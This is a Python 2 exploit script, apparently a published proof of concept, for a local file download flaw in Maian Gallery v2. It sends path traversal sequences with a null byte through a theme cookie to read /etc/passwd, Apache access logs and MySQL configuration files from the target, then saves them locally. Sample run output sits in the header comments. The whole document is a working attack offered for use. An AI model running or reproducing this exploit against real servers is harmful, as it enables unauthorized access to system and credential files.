#!/usr/bin/python
#
# This vulnerability uses file_get_contents()
# so we have some limitations, we cant execute PHP
# and we cant read files that the web server will
# interpret such as PHP, conf etc
#
# tested on: Ubuntu Linux 2.6.32 with php v5.3.2
# register_globals = Off
#
# PRIVATE 0DAY - code by mr_me
# Vulnerability found by my special PHP friend and is now patched, hence this PoC ;)
#
# mr_me@1337:~$ sudo ~/maian.py -p 127.0.0.1:8080 -t localhost -d /maian_gallery/ -o /home/mr_me/
#
# | ------------------------------------------------------------- |
# | -= Maian Gallery v2 Local File Download Exploit = |
# | ---------------------------[ by mr_me ]---------------------- |
#
# (+) Checking target @: http://localhost/maian_gallery/
#
# (+) Testing Proxy...
# (+) Proxy working! 127.0.0.1:8080
# (+) Building Handler..
# (+) File download is working!
# (+) Looking for remote configuration files and saving them to /home/mr_me/
# (+) Found file on remote host @ /var/log/apache2/access.log
# (+) Found file on remote host @ /etc/mysql/my.cnf
# (+) Found file on remote host @ /etc/passwd
# (!) Done!
#
import sys, os, httplib, socket, urllib2, re
from optparse import OptionParser
usage= "./%prog [<options>] -t [target] -d [directory] -o [output dir to save files]"
usage += "\nExample : ./%prog -p 203.167.876.54:80 -t localhost -d maian_gallery/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The target server")
parser.add_option("-d", type="string", action="store", dest="directory",
help="The dir path to maian gallery")
parser.add_option("-o", type="string", action="store", dest="outputDir",
help="Output dir to save all files")
(options, args) = parser.parse_args()
def banner():
print "\n\t\t| ------------------------------------------------------------ |"
print "\t\t| -= Maian Gallery v2 Local File Download Exploit =- |"
print "\t\t| ---------------------------[ by mr_me ]--------------------- |\n"
if len(sys.argv) < 4:
banner()
parser.print_help()
sys.exit(1)
def getProxy():
try:
pr = httplib.HTTPConnection(options.proxy)
pr.connect()
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
except(socket.timeout):
print "\n(-) Proxy Timed Out"
sys.exit(1)
except(),msg:
print "\n(-) Proxy Failed"
sys.exit(1)
return proxy_handler
dltest = "etc/passwd"
dotDotSlash = '../../../../../../../../../'
findAllFiles = ['/var/log/apache2/access_log', '/var/log/apache2/access.log',
'/etc/mysql/my.cnf', '/etc/my.cnf', '/etc/passwd', '/etc/apache2/httpd.conf']
if options.target[0:6] != 'http://':
options.target = "http://" + options.target
def getRequest(localFile):
if options.proxy:
try:
proxyfier = urllib2.build_opener(getProxy())
proxyfier.addheaders = [('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")]
check = proxyfier.open(options.target+options.directory).read()
except urllib2.HTTPError, error:
check = error.read()
else:
try:
req = urllib2.Request(options.target+options.directory)
req.add_header('Cookie', 'PHPSESSID=d0tcacup9euftbsb9kd7r55db3; mgallery_theme_cookie='+dotDotSlash+localFile+"%00")
check = urllib2.urlopen(req).read()
except urllib2.HTTPError, error:
check = error.read()
return check
banner()
print "(+) Checking target @: %s" % (options.target+options.directory)
if options.proxy:
print "\n(+) Testing Proxy..."
print "(+) Proxy working! %s" % (options.proxy)
print "(+) Building Handler.."
check = getRequest(dltest)
if re.findall("root:x:", check):
print "(+) File download is working!"
print "(+) Looking for remote configuration files and saving them to %s" % (options.outputDir)
for f in findAllFiles:
checkFile = getRequest(f)
if len(checkFile) > 0:
print "(+) Found file on remote host @ %s" % (f)
filenames = f.split('/')
try:
ff = open(options.outputDir+filenames[len(filenames)-1]+'.txt','w')
ff.write(checkFile)
ff.close()
except:
print "(-) Cannot save remote files locally.. check your path"
print "(!) Done!\n"
else:
print "(-) Target not vulnerable to the file download vulnerability"
